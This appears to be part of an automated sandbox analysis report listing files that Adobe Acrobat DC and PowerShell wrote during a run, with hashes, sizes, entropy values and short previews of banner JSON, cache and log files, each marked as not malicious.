Preview:	{"analyticsData":{"responseGUID":"17a055aa-20e5-4e06-b5b9-31faee01d3b3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722516348,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.276173738196302
Encrypted:	false
SSDEEP:	6:YEQXJ2HXth6KIH7NnZiQ0YeroAvJfQ1rPeUkwRe9:YvXKXyL7NcZ0GY16Ukee9
MD5:	61A3E7998FB715FACEBF71559935DAD6
SHA1:	F885A511ACB7C2ECDA1FD20A6058C03299B633C3
SHA-256:	0D812ADA87C72EC3794B80547BF3C9B08E9BAD6CB02FA2EB7B4AEDDA6829099D
SHA-512:	38DC621C28A9CD9A390063F798E7711B9D668410BE83F4AE76E1FC09D18D288988DD5B7562D0F4B5D0756D227541B5FADB95FD092CC1FB4F8FB9B246D1E58829
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17a055aa-20e5-4e06-b5b9-31faee01d3b3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722516348,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2836495183813215
Encrypted:	false
SSDEEP:	6:YEQXJ2HXth6KIH7NnZiQ0YeroAvJfFldPeUkwRe9:YvXKXyL7NcZ0Gz8Ukee9
MD5:	8A4A5A436C293F3A7A79C3BB959FDFDA
SHA1:	FF5F39B92A02159C777A422F89BFB6527822B061
SHA-256:	8DB7709621B937EEF684AC111892449E5D44A62B8FE4B9047815CE81CE7FF4CD
SHA-512:	6C2FE70DC50A5FA43CDC33FA65FEA65DBBAA6C21523D89CDA6E0A0B2A07F61A692104665167F7545520D8910FB59BD8D6D660924450BE108CA87D65B626CFBB2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17a055aa-20e5-4e06-b5b9-31faee01d3b3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722516348,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.298343923611507
Encrypted:	false
SSDEEP:	6:YEQXJ2HXth6KIH7NnZiQ0YeroAvJfzdPeUkwRe9:YvXKXyL7NcZ0Gb8Ukee9
MD5:	850666A762C03B1E471C8EE57222A61C
SHA1:	4125AAE2DB603F0E2DC6FE56E898492FB6FDDD6B
SHA-256:	0FE28849A69A0445327406C5B6AB2C84B284A94CFB11D5FF32F3D9CF386A7D59
SHA-512:	E9052398D26682E97A949B39415D947203C4B04FD2BBEBA475AB1FEB15437502B93F198C07EA298DE57C06AFDB7706141D828417657D5268FCB21336DE2D2FED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17a055aa-20e5-4e06-b5b9-31faee01d3b3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722516348,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.279091608370561
Encrypted:	false
SSDEEP:	6:YEQXJ2HXth6KIH7NnZiQ0YeroAvJfYdPeUkwRe9:YvXKXyL7NcZ0Gg8Ukee9
MD5:	BFCF1A0D3CBA57A0276BA95B224ACAFE
SHA1:	24AB7200053BAC590259007A14B41980C2F7A9CB
SHA-256:	1AF6C816BF895E11ED9C0BFE24C5294655DFF288CA37CE3A06781A618DBA8E0A
SHA-512:	DFC6A1211470512DD5BA33B8782B015EF3B5A111A6E070F90254B96C34DB65BDED5337B202525131E67C3DFD4BB579757F4CE3AE6234850410590BCD40793A12
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17a055aa-20e5-4e06-b5b9-31faee01d3b3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722516348,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.26562271669666
Encrypted:	false
SSDEEP:	6:YEQXJ2HXth6KIH7NnZiQ0YeroAvJf+dPeUkwRe9:YvXKXyL7NcZ0G28Ukee9
MD5:	D1FBFBE0FD1ED5874ED3A4BCACA15F69
SHA1:	7FB43556D076AAECC602215BCE4117C64BE1B704
SHA-256:	B20C3640D2D85463F51BCEF714F295940A2F63162E8D65EADD7C2EF3353354B3
SHA-512:	FEF5EA178E0C939B88DCC85C763DDDBA1243852A784035E1FE77B8960EEAF5EB66CF82531A9611A000DFFB5DA6B1C1075A16932E8871E9C338F125C98FB63A55
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17a055aa-20e5-4e06-b5b9-31faee01d3b3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722516348,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.262782406330538
Encrypted:	false
SSDEEP:	6:YEQXJ2HXth6KIH7NnZiQ0YeroAvJfbPtdPeUkwRe9:YvXKXyL7NcZ0GDV8Ukee9
MD5:	DD5F3E6301E42FA9E8C79C2F0D164F87
SHA1:	1E15ADBECE62837943B5A12FF5AF1D7B664665E6
SHA-256:	3413A87CBB4BD9F8D3B50808EBD9553A7E4515BD6B8BFC0E1805EEBE62D680CE
SHA-512:	29DD427C5A11D5A17CBC0552774D3FB4357646DA555146CC7C493A9BFB5D67E9C8156F549C72B61CB6CCF4FB9E9BF853440FBC748AD973144C292E1AA33D7200
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17a055aa-20e5-4e06-b5b9-31faee01d3b3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722516348,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.266449600033791
Encrypted:	false
SSDEEP:	6:YEQXJ2HXth6KIH7NnZiQ0YeroAvJf21rPeUkwRe9:YvXKXyL7NcZ0G+16Ukee9
MD5:	A7E45CCB2E1FC314F547C5934F6A382C
SHA1:	7A7C65F05BDDAB3CFE533C36071A8EB8A74CD6FF
SHA-256:	EC443DF4B336F322A4C0BA23608315C70C59E501910D11847729273DFB6797FE
SHA-512:	CD9D6E71DF7E41BCA0A334711A8D798F5F476A93A651043A45A5BBDFF13A86E455C3DDB1AB10F2687451F5A2ABA3194D26F9FF0285B4427D81DC76C6725DD4C4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17a055aa-20e5-4e06-b5b9-31faee01d3b3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722516348,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.657304509648797
Encrypted:	false
SSDEEP:	24:Yv6XXzamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS+Y:YvgBgkDMUJUAh8cvMn
MD5:	F5E9A51602487FE8808014719AF00B3B
SHA1:	9A7607C30E023627C67CB860A53AF51CAFE5D73C
SHA-256:	49851BBB628F8D50B810FA5879C9E9AD618A4EADB07EF50F6715B237535F83C3
SHA-512:	745CA52C35A5CB436A25A3324B1A90064241B6E9045A64A5CA650EF92B400B94C46BCC8AA6B69DE8CE6EDC34C96DC9DA80BCA3E7F4AA7FB35B45C8FCDE3F274E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17a055aa-20e5-4e06-b5b9-31faee01d3b3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722516348,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.244273904305155
Encrypted:	false
SSDEEP:	6:YEQXJ2HXth6KIH7NnZiQ0YeroAvJfshHHrPeUkwRe9:YvXKXyL7NcZ0GUUUkee9
MD5:	E963200FD984749FC9D9B19A455EC52B
SHA1:	16C521B8C5C22389087FD1042468A757B24E09A2
SHA-256:	0752293BF00C0A78623C849AA4EDFC0AC000D897E8BE5F20874790703E7EF404
SHA-512:	823A5DC4211AE25589AC0C3C7700F6B99DB6F8EB2235D3F415B95D4081CA0998F2CEDBDBD46E07A38B7858FE7A0CF853DCB56682FF1C6499A50DC1024F2048AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17a055aa-20e5-4e06-b5b9-31faee01d3b3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722516348,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.250077858680406
Encrypted:	false
SSDEEP:	6:YEQXJ2HXth6KIH7NnZiQ0YeroAvJTqgFCrPeUkwRe9:YvXKXyL7NcZ0GTq16Ukee9
MD5:	E25A67114699FFB46EC1531CC1767930
SHA1:	67483CEE1B00BFE53874B4CF79ED8C3A1FD8E4EC
SHA-256:	869B4BEE112F807E8CE2165E7AA2DBD79E299E6D88C93C51BF14CA322DACC6BB
SHA-512:	24684A0592259FB2CCE986E40D702CDA275DE6B6AD2EACD64C91E41735D7A43A5DDA40C35CECB495C2ED73C1EB8B18766A3472C6EADD61ED4A87ECAE2EF844FF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17a055aa-20e5-4e06-b5b9-31faee01d3b3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722516348,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143043957726508
Encrypted:	false
SSDEEP:	48:YG0WcliAB58W4qp4yQHQCTXpDQO4LmlGV/TVh9+AI:oWcliAB58W4y/QHQCTXSXmlGVB/+AI
MD5:	16945763E3C441133B881636EB208000
SHA1:	B1E35CC36C80749C14D8F17B4F083068A6375B71
SHA-256:	8E12C2846C6F7B40CBE0B451D24A01E741B5FEE38AD12AEC722B7DF5098B1161
SHA-512:	D453E8E64398CEEF9D10E05D019468325EFFBE2CC001E78722D82D5553582597147607152317BDC2C13650F774727699A5288B1C20A070C55BCA458E250022ED
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a4d9652df0579f229c47edd233b06f1b","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736543266000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"b9fb829a1ae96231a6fdad3a1e35589b","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736543265000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ecf979876b45988cfc50052bd0098eba","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736543265000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"899b4999dc3521d908f5da39d6988c5b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736543265000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0f31c7ceb9ef6b73965522327967606b","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736543265000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"bedbbb4981e5630094b1580dedd6cd07","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1465640575624945
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursMKBtRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUul:TFl2GL7msfxXc+XcGNFlRYIX2v3keH
MD5:	75A9A5CEB44DFBB0F8D9A41EE480722B
SHA1:	D7C289A79E1CD82AA7C0EB2FDC350A5662B0811F
SHA-256:	90809B25FF9363666153DC2DA3AA7AEE75588B72028E69DB506FDC7502BAA7E7
SHA-512:	BD3044B3CE4A2911DE6CDA071370D118D22FA7AEFC18FEA2D64B63980BAD34B543FC97DB4CA195A80018A6A24879A449C4AF4460B753553FC00BB76C6DEE29F9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.551206431399809
Encrypted:	false
SSDEEP:	24:7+tqKBtUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLux+qLxx/Xk:7MVOXc+XcGNFlRYIX2vnqVl2GL7msdw
MD5:	D5D1AD2E2DB591984933FC1950AB1826
SHA1:	837E322A0DD1AE08553AB75596D1057A8C1B6890
SHA-256:	080AC8AEDE1440F74023603D02A75A7C72BC4E09B75888DA94183A5C459DF2A7
SHA-512:	9437E342BFEC111EF516835D66D6E8FD92C0AF8B9CA40E66F50D532B24689BE6F36CA58B2141E33A7234EE562172BD06C49D20C09E5831C73D2AA9DAE95D3229
Malicious:	false
Preview:	.... .c.....\.LP..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg0JJHEZXD1rKOib3hlFJ/6oNp4TeRiBYyu:6a6TZ44ADEgJHEZT1rZ43hlwTIUK
MD5:	6CE8E764CBC41808DBDAB07D482741C2
SHA1:	650370D043E2926FDFAFD5C4FE09C42A53419904
SHA-256:	10D227F321FF566B3602DB40FB824DEC02F5C8CDB596A9E1C9DD25CE70E7533A
SHA-512:	80A7956B839A00DE4AC211B2BF65CC556B0010851C125DCE2B0335DBCEF347221679B807B17D5922D953E8B5CCABE57119A945CFAE971925799CC33FC62D8D91
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSIf57e8.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNev:Qw946cPbiOxDlbYnuRK+bDrNev
MD5:	9D2D7E0118E7AFEC0DD7C4CEBFA161D5
SHA1:	330DA5363E50588937008C83EA57556BCA204A24
SHA-256:	F36396677B76AB73E72E9000127D8718D4C4463571A8DDA233B82D3D35CEC750
SHA-512:	D4D320AB3FC50A395BF924DFDA2C9E3640FCDBFE0575778F0A8743085CEB7930CD8A779944388D17C8FFD3BC8D9FE7DAFC06D8A33506086E67264FB0FAA1B79E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.0.7.:.4.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eoq2asnh.txq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y3q0zgsz.hdu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-07-38-704.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.317377736298995
Encrypted:	false
SSDEEP:	384:hKZ39/O/l/R/C/S6/W/PT/r/D/r/9ucuO5B6M6mFUF2UpURUkU1XionKnqn42s2L:znA
MD5:	7066C5111B9F5E766143318E56171EED
SHA1:	FE98C78E747124AE71B66E7E22FA03BF03250704
SHA-256:	301FA2F52D5C2F6D9A26D840836C00A00D03175934B5A1B39AEEA63EBA3760BB
SHA-512:	69146DD173CF3191D4F4AB41E0A0D0E1A110C6505F2DA52D33C3DE895C229223991329A72B9AB80EC6C6F423DC704B340403B89A0F6FD750E101DE500485641C
Malicious:	false
Preview:	SessionID=5ae405e0-e344-4930-8dae-61f045517ca6.1736543258723 Timestamp=2025-01-10T16:07:38:723-0500 ThreadID=7772 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=5ae405e0-e344-4930-8dae-61f045517ca6.1736543258723 Timestamp=2025-01-10T16:07:38:739-0500 ThreadID=7772 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=5ae405e0-e344-4930-8dae-61f045517ca6.1736543258723 Timestamp=2025-01-10T16:07:38:740-0500 ThreadID=7772 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=5ae405e0-e344-4930-8dae-61f045517ca6.1736543258723 Timestamp=2025-01-10T16:07:38:740-0500 ThreadID=7772 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=5ae405e0-e344-4930-8dae-61f045517ca6.1736543258723 Timestamp=2025-01-10T16:07:38:740-0500 ThreadID=7772 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.394780041860196
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbrmcbIIwYcbR:V3fOCIdJDexhwf
MD5:	77775B6C48FFBCD00376F34FDE336F48
SHA1:	BE4AD6E505A5DB66007998F7AE2FEED1B7643FA8
SHA-256:	4CB8B39594ABAE53AF78EBCC8F214914C2858BCB188C266BC7BD4324BE3CBEA1
SHA-512:	F326422E804B8ADC02E9795D09A730AAECAC42443A25C2B1E1328A13FAC6D8970D352D92A9ED7269705157040563C52A8287866E4B1DF303774608ABCACAD7F9
